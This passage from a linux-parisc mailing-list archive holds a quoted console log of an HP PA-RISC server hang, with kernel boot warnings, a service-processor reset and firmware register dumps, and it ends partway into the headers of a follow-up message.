> LED State: There was a system interruption that did not take the system down.
> Check Chassis and Console Logs for error messages.
> 
> processor                 system initialization      1C00
> 
> *****************************************
> 
> ************ EARLY BOOT VFP *************
> End of early boot detected
> *****************************************
> [17179572.312000] powersw: Soft power switch support not available.
> [17179572.328000] bio: create slab <bio-0> at 0
> [17179572.480000] NET: Registered protocol family 2
> [17179572.540000] IP route cache hash table entries: 131072 (order: 8, 1048576 bytes)
> [17179572.552000] TCP established hash table entries: 262144 (order: 10, 4194304 bytes)
> [17179572.624000] TCP bind hash table entries: 65536 (order: 8, 1048576 bytes)
> [17179572.748000] TCP: Hash tables configured (established 262144 bind 65536)
> [17179572.756000] TCP reno registered
> [17179572.768000] NET: Registered protocol family 1
> [17179572.880000] checking if image is initramfs... it is
> [17179576.376000] Freeing initrd memory: 7703k freed
> [17179576.384000] Chassis warnings not supported.
> [17179576.392000] Performance monitoring counters enabled for Rhapsody DC- 440
> [17179576.404000] audit: initializing netlink socket (disabled)
> [17179576.416000] type=2000 audit(1248974998.722:1): initialized
> [17179576.428000] VFS: Disk quotas dquot_6.5.2
> [17179576.436000] Dquot-cache hash table entries: 512 (order 0, 4096 bytes)
> [17179576.460000] msgmni has been set to 6023
> [17179576.468000] alg: No test for stdrng (krng)
> [17179576.476000] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 253)
> [17179576.488000] io scheduler noop registered
> [17179576.492000] io scheduler anticipatory registered
> [17179576.496000] io scheduler deadline registered
> [17179576.500000] io scheduler cfq registered (default)
> [17179576.604000] PDC Stable Storage facility v0.30
> [17179577.424000] STI GSC/PCI core graphics driver Version 0.9a
> [17179577.456000] Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
> [17179577.464000] serial 0000:00:04.0: enabling device (0146 -> 0147)
> [17179577.476000] 0000:00:04.0: ttyS0 at MMIO 0xfffffffff8000000 (irq = 70) is a 16550A
> [17179577.484000] console handover: boot [ttyB0] -> real [ttyS0]
> [17179577.500000] 0000:00:04.0: ttyS1 at MMIO 0xfffffffff8000008 (irq = 70) is a 16550A
> [17179577.524000] 0000:00:04.0: ttyS2 at MMIO 0xfffffffff8000010 (irq = 70) is a 16550A
> [17179577.536000] serial 0000:00:05.0: enabling device (0000 -> 0003)
> [17179577.548000] serial 0000:00:05.0: enabling SERR and PARITY (0003 -> 0143)
> [17179577.564000] 0000:00:05.0: ttyS3 at MMIO 0xfffffffff8005000 (irq = 71) is a 16550A
> [17179577.576000] Couldn't register serial port 0000:00:05.0: -28
> [17179577.680000] brd: module loaded
> [17179577.804000] mice: PS/2 mouse device common for all mice
> [17179577.816000] rtc-parisc rtc-parisc: rtc core: registered rtc-parisc as rtc0
> [17179577.828000] TCP cubic registered
> [17179577.944000] NET: Registered protocol family 17
> [17179577.956000] registered taskstats version 1
> [17179578.088000] rtc-parisc rtc-parisc: setting system clock to 2009-07-30 17:30:00 UTC (1248975000)
> [17179578.100000] Freeing unused kernel memory: <0>------------[ cut here ]------------
> [17179578.236000] Badness at /build/buildd/linux-2.6-2.6.29/debian/build/source_hppa_none/kernel/smp.c:329
> [17179578.372000] 
> [17179578.372000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> [17179578.376000] PSW: 00001000000001100000000000001110 Not tainted
> [17179578.512000] r00-03  000000000806000e 00000000406829c0 0000000040181194 0000000040590020
> [17179578.652000] r04-07  00000000406791c0 000000004065e6a0 0000000000000000 00000000404fdfa0
> [17179578.660000] r08-11  000000004065e6a0 0000000000000000 00000000406841c0 0000000000000001
> [17179578.668000] r12-15  000000004067a9c0 0000000000000000 00000000406791c0 00000000000000ff
> [17179578.676000] r16-19  00000000406809c0 00000000406879c0 00000000ff83a268 000000004[17179579.072000] r20-23  0000000000000000 00000000406da000 fffffffffffffffe 0000000000000001
> [17179579.084000] r24-27  0000000000000000 000000004065e6a0 00000000404fdfa0 00000000406791c0
> [17179579.092000] r28-31  000000000800000e 00000000ff8404a0 00000000ff840590 0000000000000000
> [17179579.100000] sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
> [17179579.108000] sr04-07  0000000000000000 0000000000000000 000000000000000
> [17179579.640000] 
> [17179579.644000] IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040180e34 0000000040180e38
> [17179579.652000]  IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000002fe10040510
> [17179579.660000]  CPU:        0   CR30: 00000000ff840000 CR31: ffffffffffffffff
> [17179579.668000]  ORIG_R28: 000000000800000e
> [17179579.672000]  IAOQ[0]: smp_call_function_many+0x44/0x368
> [17179579.920000]  IAOQ[1]: smp_call_function_many+0x48/0x368
> [17179579.928000]  RP(r2): smp_call_function+0x3c/0x50
> [17179579.932000] Backtrace:
> [17179579.932000]  [<0000000040181194>] smp_call_function+0x3c/0x50
> [17179579.940000000401a1504>] call_rcu+0x44/0x58
> [17179580.344000] 
> [17179580.352000] ------------[ cut here ]------------
> [17179580.360000] Badness at /build/buildd/linux-2.6-2.6.29/debian/build/source_hppa_none/kernel/smp.c:226
> [17179580.368000] 
> [17179580.368000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> [17179580.376000] PSW: 00001000000001101111111000001110 Tainted: G        W 
> [17179580.380000] r00-03  000000ff0806fe0e 000000004067e1c0 0000000040180f1c 0000000000000000
> [17179580.388000] r04-07  00000000406791c0 00000000065e6a0 0000000000000000
> [17179580.908000] r08-11  000000004065e6a0 0000000000000000 00000000406841c0 0000000000000001
> [17179580.920000] r12-15  000000004067a9c0 0000000000000000 00000000406791c0 00000000000000ff
> [17179580.928000] r16-19  00000000406809c0 00000000406879c0 00000000ff83a268 0000000000000008
> [17179580.936000] r20-23  00000000404fdfa0 0000000000000002 fffffffffffffffe 0000000000000001
> [17179580.944000] r24-27  0000000000000000 000000004065e6a0 0000000000000001 0000000041.340000] r28-31  000000000800000e 00000000ff840560 00000000ff840660 0000000000000008
> [17179581.476000] sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
> [17179581.492000] sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
> [17179581.500000] 
> [17179581.500000] IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040180cd0 0000000040180cd4
> [17179581.508000]  IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000002fe100405e0
> [17179581.512000]  CPU:        0   CR30: 00000000ff840000 CR31: fffffffff81.908000]  ORIG_R28: 0000000000000001
> [17179582.036000]  IA
> ********** VIRTUAL FRONT PANEL **********
> System Boot detected
> *****************************************
> LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
>        ON       FLASH         OFF       ON         ON
> LED State: There was a system interruption that did not take the system down.
> Check Chassis and Console Logs for error messages.
> 
> processor                 system initialization      1C00
> 
> *****************************************
> 
> ************ EARLY BOOT VFP *************
> End of early boot detected
> *****************************************
> Begin: Loading essential drivers ... WARNING: All config files need .conf: /etc/modprobe.d/pnp-hotplug, it will be ignored in a future release.
> WARNING: All config files need .conf: /etc/modprobe.d/display_class, it will be ignored in a future release.
> WARNING: All config files need .conf: /etc/modprobe.d/blacklist, it will be ignored in a future release.
> [17179583.088000] SCSI subsystem initialized
> WARNING: All config files need .conf: /etc/modprobe.d/pnp-hotplug, it will be ignored in a future release.
> WARNING: All config files need .conf: /etc/modprobe.d/display_class, it will be ignored in a future release.
> WARNING: All config files need .conf: /etc/modprobe.d/blacklist, it will be ignored in a future release.
> WARNING: All config files need .conf: /etc/modprobe.d/pnp-hotplug, it will be ignored in a future release.
> WARNING: All config files need .conf: /etc/modprobe.d/display_class, it will be ignored in a future release.
> WARNING: All config files need .conf: /etc/modprobe.d/blacklist, it will be ignored in a future release.
> done.
> Begin: Running /scripts/init-premount ... [17179583.856000] Linux Tulip driver version 1.1.15-NAPI (Feb 27, 2007)
> [17179584.008000] tulip 0000:00:00.0: enabling device (0140 -> 0143)
> [17179584.028000] tulip0: no phy info, aborting mtable build
> [17179584.140000] tulip0:  MII transceiver #1 config 1000 status 782d advertising 0061.
> [17179584.164000] eth0: Digital DS21142/43 Tulip rev 65 at MMIO 0xfffffffff8006000, 00:10:83:fe:9c:b0, IRQ 66.
> [17179584.428000] tulip 0000:18:00.0: enabling device (0000 -> 0003)
> [17179584.436000] tulip 0000:18:00.0: enabling SERR and PARITY (0003 -> 0143)
> 
> ************* SYSTEM ALERT **************
> SYSTEM NAME: scaspdb24
> DATE: 07/30/2009 TIME: 17:30:06
> ALERT LEVEL: 7 = reserved
> 
> REASON FOR ALERT
> SOURCE: 0 = unknown, no source stated
> SOURCE DETAIL: 0 = unknown, no source stated   SOURCE ID: FF
> PROBLEM DETAIL: 0 = no problem detail
> 
> LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
>        ON       FLASH         OFF       ON         ON
> LED State: There was a system interruption that did not take the system down.
> Check Chassis and Console Logs for error messages.
> 
> 0x0000007000FF6292 000000F0 F0000000 - type  0 = Data Field Unused
> 0x5800087000FF6292 00006D06 1E111E06 - type 11 = Timestamp 07/30/2009 17:30:06
> A: ack read of this entry - X: Disable all future alert messages
> Anything else skip redisplay the log entry
> ->Choice:a
> *****************************************
> 
> 
> Leaving Console Mode - you may lose write access.
> When Console Mode returns, type ^Ecf to get console write access.
> 
> Service Processor login: 
> Service Processor password: 
> 
> 
> 
> 
>              Hewlett-Packard Guardian Service Processor
> 
> 
>              9000/800/L1000-44 System Name: scaspdb24
> 
> 
> GSP Host Name:  scaspdb24
> GSP> r ser pim
> 
> Unknown Command 
> 
> 
> GSP Host Name:  scaspdb24
> GSP> rs
> 
> 
> RS
> 
> Execution of this command irrecoverably halts all system processing and
> I/O activity and restarts the computer system.
> 
> Type Y to confirm your intention to restart the system: (Y/[N]) y
> y
>    -> SPU hardware was successfully issued a reset.
> 
> 
> GSP Host Name:  scaspdb24
> GSP> 
> ********** VIRTUAL FRONT PANEL **********
> System Boot detected
> *****************************************
> LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
>        FLASH    FLASH         FLASH     ON         ON
> LED State: Unexpected Reboot. Running non-OS code. Non-critical error detected.
> Check Chassis and Console Logs for error messages.
> 
> platform                  config                     626F
> processor                 slave rendezvous           1C17
> processor                 test                       1142
> processor                 test                       1100
> processor                 test                       1100
> processor                 test                       1100
> processor                 test                       1100
> processor                 test                       1100
> processor                 test                       1100
> processor                 test                       1100
> processor                 test                       1100
> processor                 test                       1100
> PDH                       config                     322F
> PDH                       test                       3149
> PDH                       test                       3160
> platform                  test                       616A
> processor                 test                       1146
> processor                 INIT                       1701
> processor                 INIT                       1701
> processor                 test                       1110
> processor                 test                       1110
> processor                 test                       1110
> processor                 INIT                       1701
> processor                 test                       1110
> processor                 INIT                       1701
> processor                 test                       1110
> processor                 test                       1110
> processor                 slave rendezvous           1C17
> processor                 test                       1142
> processor                 slave rendezvous           1C10
> processor                 test                       1142
> PDH                       test                       3158
> PDH                       test                       3157
> PDH                       test                       316E
> PDH                       test                       316E
> PDH                       test                       316E
> PDH                       test                       316E
> PDH                       test                       316E
> PDH                       test                       316E
> PDH                       test                       316E
> memory                    config                     7210
> memory                    INIT                       7702
> memory                    INIT                       771D
> memory                    test                       7150
> memory                    config                     7213
> memory                    config                     7213
> memory                    config                     7214
> memory                    config                     7213
> memory                    config                     7213
> memory                    config                     7214
> memory                    config                     7213
> memory                    config                     7213
> memory                    config                     7214
> memory                    config                     7213
> memory                    config                     7213
> memory                    config                     7214
> memory                    config                     7213
> memory                    config                     7213
> memory                    config                     7214
> memory                    config                     7213
> memory                    config                     7213
> memory                    config                     7214
> memory                    config                     7213
> memory                    config                     7213
> memory                    config                     7214
> memory                    config                     7213
> memory                    config                     7213
> memory                    config                     7214
> memory                    config                     7213
> memory                    config                     7213
> memory                    config                     7215
> memory                    config                     7216
> memory                    config                     72A0
> memory                    test                       71A1
> memory                    test                       71A2
> memory                    test                       71A4
> memory                    test                       71A5
> memory                    test                       71A6
> memory                    test                       71A3
> memory                    test                       71A4
> memory                    test                       71A4
> memory                    test                       71A5
> memory                    test                       71A5
> memory                    test                       71A6
> memory                    test                       71A6
> memory                    config                     7217
> memory                    config                     7218
> memory                    config                     72A0
> memory                    test                       71A1
> memory                    test                       71A2
> memory                    test                       71A4
> memory                    test                       71A5
> memory                    test                       71A6
> memory                    test                       71A3
> memory                    test                       71A4
> memory                    test                       71A4
> memory                    test                       71A5
> memory                    test                       71A5
> memory                    test                       71A6
> memory                    test                       71A6
> memory                    config                     7210
> I/O                       INIT                       8701
> I/O                       test                       8118
> I/O                       test                       8118
> I/O                       INIT                       8701
> I/O                       INIT                       8701
> I/O                       INIT                       8701
> I/O                       INIT                       8701
> I/O                       INIT                       8701
> I/O                       INIT                       8701
> I/O                       INIT                       8701
> I/O                       INIT                       8701
> I/O                       INIT                       8701
> memory                    config                     7240
> memory                    INIT                       7702
> memory                    config                     7241
> memory                    config                     7243
> memory                    config                     72A0
> memory                    test                       71A1
> memory                    test                       71A2
> memory                    test                       71A4
> memory                    test                       71A5
> memory                    test                       71A6
> memory                    test                       71A3
> memory                    test                       71A4
> memory                    test                       71A4
> memory                    test                       71A4
> memory                    test                       71A4
> memory                    test                       71A4
> memory                    test                       71A4
> memory                    test                       71A4
> memory                    test                       71A4
> memory                    test                       71A4
> memory                    test                       71A4
> memory                    test                       71A4
> memory                    test                       71A4
> memory                    test                       71A4
> memory                    test                       71A5
> memory                    test                       71A5
> memory                    test                       71A5
> memory                    test                       71A5
> memory                    test                       71A5
> memory                    test                       71A5
> memory                    test                       71A5
> memory                    test                       71A5
> memory                    test                       71A5
> memory                    test                       71A5
> memory                    test                       71A5
> memory                    test                       71A5
> memory                    test                       71A5
> memory                    test                       71A6
> memory                    test                       71A6
> memory                    test                       71A6
> memory                    test                       71A6
> memory                    test                       71A6
> memory                    test                       71A6
> memory                    test                       71A6
> memory                    test                       71A6
> memory                    test                       71A6
> memory                    test                       71A6
> memory                    test                       71A6
> memory                    test                       71A6
> memory                    test                       71A6
> memory                    INIT                       7745
> memory                    config                     7240
> I/O                       config                     8204
> I/O                       config                     8204
> I/O                       test                       8119
> I/O                       test                       8119
> I/O                       test                       8119
> I/O                       test                       8119
> I/O                       test                       8119
> I/O                       test                       8119
> I/O                       test                       8119
> I/O                       test                       8119
> I/O                       test                       8119
> I/O                       test                       8119
> I/O                       config                     8204
> processor                 test                       1120
> processor                 test                       1120
> processor                 INIT                       1701
> processor                 test                       1120
> processor                 test                       1120
> processor                 test                       1120
> processor                 INIT                       1701
> processor                 test                       1120
> processor                 slave rendezvous           1C40
> processor                 test                       1142
> platform                  test                       612A
> I/O                       config                     8238
> 
> *****************************************
> 
> ************ EARLY BOOT VFP *************
> End of early boot detected
> *****************************************
> 
> Firmware Version  44.28
> 
> Duplex Console IO Dependent Code (IODC) revision 1
> 
> ------------------------------------------------------------------------------
>    (c) Copyright 1995-2002, Hewlett-Packard Company, All rights reserved
> ------------------------------------------------------------------------------
> 
>   Processor   Speed            State           CoProcessor State  Cache Size
>   Number                                       State              Inst    Data
>   ---------  --------   ---------------------  -----------------  ------------
>       0      440  MHz   Active                 Functional         512 KB   1 MB
>       3      440  MHz   Idle                   Functional         512 KB   1 MB
> 
>   Central Bus Speed (in MHz)  :         82  
>   Available Memory            :    3145728  KB
>   Good Memory Required        :      22096  KB
> 
>    Primary boot path:    0/0/1/1.0           
>    Alternate boot path:  0/7/0/0.97.20.19.0.0.5     
>    Console path:         0/0/4/0.0           
>    Keyboard path:        0/0/4/0.0           
> 
> 
> ---- Main Menu ---------------------------------------------------------------
> 
>      Command                           Description
>      -------                           -----------
>      BOot [PRI|ALT|<path>]             Boot from specified path
>      PAth [PRI|ALT] [<path>]           Display or modify a path
>      SEArch [DIsplay|IPL] [<path>]     Search for boot devices
> 
>      COnfiguration menu                Displays or sets boot values
>      INformation menu                  Displays hardware information
>      SERvice menu                      Displays service commands
> 
>      DIsplay                           Redisplay the current menu
>      HElp [<menu>|<command>]           Display help for menu or command
>      RESET                             Restart the system
> ----
> Main Menu: Enter command or menu > ser pim
> 
> 
> PROCESSOR PIM INFORMATION
> 
> Original Product Number:   A5576A
> Current Product Number:    A5576A
> 
> 
> -----------------  Processor 0 HPMC Information - PDC Version: 44.28  ------ 
> 
> Timestamp =    Thu Jul  30 17:30:07 GMT 2009    (20:09:07:30:17:30:07)
> 
> HPMC Chassis Codes 
> 
>        Chassis Code        Extension 
>        ------------        --------- 
>        0x0000082000ff6242  0x0000000000000000
>        0x1800082011006312  0xcb81000000000000
>        0x0000087000ff6292  0x000000f0f0000000
>        0x6000082070006062  0x0000000000100010
>        0x7000082070006082  0x0000000000b92400
>        0x7000082379006133  0xc1bff0fffed08040
>        0x0000080080006310  0x0000000000000001
>        0x000008008000631f  0x0000000000000000
>        
> 
> General Registers 0 - 31
> 00-03  0000000000000000  00000000402e7098  000000000c1b5c78  000000007f954680
> 04-07  000000000c1b1000  000000000c1fc800  000000000c1c79b0  000000007f954000
> 08-11  000000000c1fc830  0000000000000003  00000000fe87e800  000000000c1fc800
> 12-15  0000000000000000  00000000fb6a2d5e  00000000fb6a2b5e  0000000000000003
> 16-19  0000000000026420  0000000000000000  00000000fe87e880  000000007f9555b8
> 20-23  0000000000000000  000000007f9552c0  ffffffffc0000000  0000000000100000
> 24-27  0000000000000000  0000000000000000  000000000c1fc830  00000000406791c0
> 28-31  000000000c1b4010  000000007f858be0  000000007f858c90  000000000c1b3fd0
> 
> 
> Control Registers 0 - 31
> 00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 08-11  000000000000011c  0000000000000000  00000000000000c0  0000000000000001
> 12-15  0000000000000000  0000000000000000  0000000000103000  ff80000000000000
> 16-19  0000003aeb5d81e1  0000000000000000  00000000402e70d0  000000000f40109c
> 20-23  00000000a627ff41  000000004fdfc830  000000ff0804ff0f  8000000000000000
> 24-27  0000000000586000  000000003f892000  ffffffffffffffff  0000000040001480
> 28-31  ffffffffffffffff  ffffffffffffff2f  000000007f858000  ffffffffffffffff
> 
> Space Registers 0 - 7
> 00-03  0004d800          00000000          00000000          00047000
> 04-07  00000000          00000000          00000000          00000000
> 
> 
> IIA Space (back entry)       = 0x0000000000000000
> IIA Offset (back entry)      = 0x00000000402e70d4
> Check Type                   = 0x20000000
> CPU State                    = 0x9e000004
> Cache Check                  = 0x00000000
> TLB Check                    = 0x00000000
> Bus Check                    = 0x0030103b
> Assists Check                = 0x00000000
> Assist State                 = 0x00000000
> Path Info                    = 0x00000000
> System Responder Address     = 0x000000ffd053f830
> System Requestor Address     = 0xfffffffffffa0000
> 
> 
> Floating Point Registers 0 - 31
> 00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 04-07  0000000000000000  00000000bf840350  00000000bf840358  0000000000000008
> 08-11  000000004020b518  00000000ff83a268  0000000000000000  0000000000000002
> 12-15  00000000ff83fc10  00000000ff8403f0  00000000ff83fc00  00000000406791c0
> 16-19  0000000000000002  00000000ff83a268  00000000406879c0  00000000406809c0
> 20-23  00000000000000ff  00000000406791c0  0000000000000000  0000000000000000
> 24-27  0000000000000000  0000000000000000  fffffffffffff000  00000000fefa6000
> 28-31  0000000000000000  0000000000000000  ffffffffffffff9c  00000000406791c0
> 
> 
> Check Summary                = 0xcb81000000000000
> Available Memory             = 0x00000000c0000000
> CPU Diagnose Register 2      = 0x0203000100802004
> CPU Status Register 0        = 0x2440c24000000000
> CPU Status Register 1        = 0x8002000000000000
> SADD LOG                     = 0x147ffcffffffffff
> Read Short LOG               = 0xc1af00ffd053f830
> 
> 
> 
> -----------------  Processor 0 LPMC Information ------------------
> 
> Check Type                   = 0x00000000
> IC Parity Info               = 0x00000000
> Cache Check                  = 0x00000000
> TLB Check                    = 0x00000000
> Bus Check                    = 0x00000000
> Assists Check                = 0x00000000
> Assist State                 = 0x00000000
> Path Info                    = 0x00000000
> System Responder Address     = 0x0000000000000000
> System Requestor Address     = 0x0000000000000000
> 
> 
> 
> -----------------  Processor 0 TOC Information -------------------
> 
> General Registers 0 - 31
> 00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 08-11  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 12-15  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 16-19  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 20-23  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 24-27  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 28-31  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 
> 
> Control Registers 0 - 31
> 00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 08-11  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 12-15  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 16-19  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 20-23  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 24-27  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 28-31  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 
> Space Registers 0 - 7
> 00-03  00000000          00000000          00000000          00000000
> 04-07  00000000          00000000          00000000          00000000
> 
> IIA Space (back entry)       = 0x0000000000000000
> IIA Offset (back entry)      = 0x0000000000000000
> CPU State                    = 0x00000000
> 
> 
> 
> -----------------  Processor 3 HPMC Information - PDC Version: 44.28  ------ 
> 
> Timestamp =    Thu Jul  30 17:30:07 GMT 2009    (20:09:07:30:17:30:07)
> 
> HPMC Chassis Codes 
> 
>        Chassis Code        Extension 
>        ------------        --------- 
>        0x0000082000ff6242  0x0000000000000000
>        0x1800082011036322  0xcb81800000000000
>        
> 
> General Registers 0 - 31
> 00-03  0000000000000000  000000004067a9c0  000000004011c18c  0000000043541518
> 04-07  00000000406791c0  00000000fc985000  000000007f93f000  0000000000000000
> 08-11  00000000fca67918  000000007f8d9cc0  00000000404eb740  0000000040000000
> 12-15  0000000000000000  0000000000000200  0000000040311427  0000000000000000
> 16-19  00000000419e85c8  000000007f93f888  0000000000000000  0000000000000000
> 20-23  000000000003f93f  00000000fffffffa  0000000000000000  0000000000000040
> 24-27  0000000000000010  00000000fc985fc0  000000004050a000  00000000406791c0
> 28-31  0000000000000001  000000007f94c800  000000007f94c830  00000000005282a3
> 
> 
> Control Registers 0 - 31
> 00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 08-11  0000000000000146  0000000000000000  00000000000000c0  0000000000000000
> 12-15  0000000000000000  0000000000000000  0000000000103000  ff80000000000000
> 16-19  0000003aeb5d7f36  0000000000000000  000000004011c190  0000000004a01200
> 20-23  0000000000000000  00000000fc985000  000000ff0804f90f  8000000000000000
> 24-27  0000000000586000  000000003f952000  fffffffff37f7f00  0000000040001b60
> 28-31  fffffffff37f7f00  fffffffff37f7f00  000000007f94c000  fffffffff37f7f00
> 
> Space Registers 0 - 7
> 00-03  00051800          00000000          00000000          00051800
> 04-07  00000000          00000000          00000000          00000000
> 
> 
> IIA Space (back entry)       = 0x0000000000000000
> IIA Offset (back entry)      = 0x000000004011c194
> Check Type                   = 0x20000000
> CPU State                    = 0x9e000004
> Cache Check                  = 0x00000000
> TLB Check                    = 0x00000000
> Bus Check                    = 0x0030000d
> Assists Check                = 0x00000000
> Assist State                 = 0x00000000
> Path Info                    = 0x00000000
> System Responder Address     = 0xfffffffffffa6000
> System Requestor Address     = 0xfffffffffffa0000
> 
> 
> Floating Point Registers 0 - 31
> 00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 04-07  0000000000000000  00000000bf840350  00000000bf840358  0000000000000008
> 08-11  000000004020b518  00000000ff83a268  0000000000000000  0000000000000002
> 12-15  00000000ff83fc10  00000000ff8403f0  00000000ff83fc00  00000000406791c0
> 16-19  0000000000000002  00000000ff83a268  00000000406879c0  00000000406809c0
> 20-23  00000000000000ff  00000000406791c0  0000000000000000  0000000a4067a9c0
> 24-27  0000000000000000  00000000406841c0  fffffffffffff000  00000000fefa6000
> 28-31  0000000000000000  0000000000000000  ffffffffffffff9c  00000000406791c0
> 
> 
> Check Summary                = 0xcb81800000000000
> Available Memory             = 0x00000000c0000000
> CPU Diagnose Register 2      = 0x0203030100802004
> CPU Status Register 0        = 0x3440c24000000000
> CPU Status Register 1        = 0x8000000000000000
> SADD LOG                     = 0x4800000000000000
> Read Short LOG               = 0xc13ff0f0f0047218
> 
> 
> 
> -----------------  Processor 3 LPMC Information ------------------
> 
> Check Type                   = 0x00000000
> IC Parity Info               = 0x00000000
> Cache Check                  = 0x00000000
> TLB Check                    = 0x00000000
> Bus Check                    = 0x00000000
> Assists Check                = 0x00000000
> Assist State                 = 0x00000000
> Path Info                    = 0x00000000
> System Responder Address     = 0x0000000000000000
> System Requestor Address     = 0x0000000000000000
> 
> 
> 
> -----------------  Processor 3 TOC Information -------------------
> 
> General Registers 0 - 31
> 00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 08-11  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 12-15  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 16-19  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 20-23  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 24-27  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 28-31  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 
> 
> Control Registers 0 - 31
> 00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 08-11  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 12-15  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 16-19  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 20-23  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 24-27  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 28-31  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 
> Space Registers 0 - 7
> 00-03  00000000          00000000          00000000          00000000
> 04-07  00000000          00000000          00000000          00000000
> 
> IIA Space (back entry)       = 0x0000000000000000
> IIA Offset (back entry)      = 0x0000000000000000
> CPU State                    = 0x00000000
> 
> 
> --------------  Memory Error Log Information  --------------
> 
> Bus 0 Log Information
> 
> Timestamp =    Thu Jul  30 17:30:07 GMT 2009    (20:09:07:30:17:30:07)
> 
>   OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
>   --  --  --      -----      -  -  -  ----  ---  --  --  --
>   X       X     ERR_ERROR       X            X           
> 
> Bus Requestor Address      = 0xfffffffffffa0000
> Bus Target Address         = 0x0000000000000000
> Bus Responder Address      = 0xfffffffffed00000
> 
> Error Status Reg           = 0x0000000000100010
> Runway Control Reg         = 0x0000021c00001418
> Runway Address Reg         = 0xc1bff0fffed08040
> Runway Data High Reg       = 0xe840c000083c025c
> Runway Data Low Reg        = 0xe840c000083c025c
> Memory Address Reg         = 0x000001ff3fffffff
> Memory Address Corr Reg    = 0x000001ff3fffffff
> Memory Syndrome Reg        = 0x0000000000000000
> Memory Syndrome Corr Reg   = 0x0000000000000000
> 
> 
> 
>  Address/Control Parity Error Registers  
> 
>    Address/Control Parity Error Bit (mem_addr_par_stat) Not Set 
> 
> 
> 
> ------------  I/O Module Error Log Information  ------------
> 
> 
>    No I/O module errors logged
> 
> 
> Main Menu: Enter command or menu > 
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPPA hang with PCI SERR or PARITY enabling
Date: Thu, 30 Jul 2009 21:45:51 -0400 (EDT)
Lines: 983
Approved: news@gmane.org
Message-ID: <20090731014554.13F4A4CFD@hiauly1.hia.nrc.ca>
References: <4A724818.4080909@tausq.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1249004773 12245 80.91.229.12 (31 Jul 2009 01:46:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 31 Jul 2009 01:46:13 +0000 (UTC)
Cc: mroos@linux.ee, linux-parisc@vger.kernel.org
To: randolph@tausq.org (Randolph Chung)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 31 03:46:05 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MWhC6-0008Et-QS
	for glpp-linux-parisc@gmane.org; Fri, 31 Jul 2009 03:46:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750745AbZGaBqA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 30 Jul 2009 21:46:00 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750975AbZGaBqA
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 30 Jul 2009 21:46:00 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2066 "EHLO
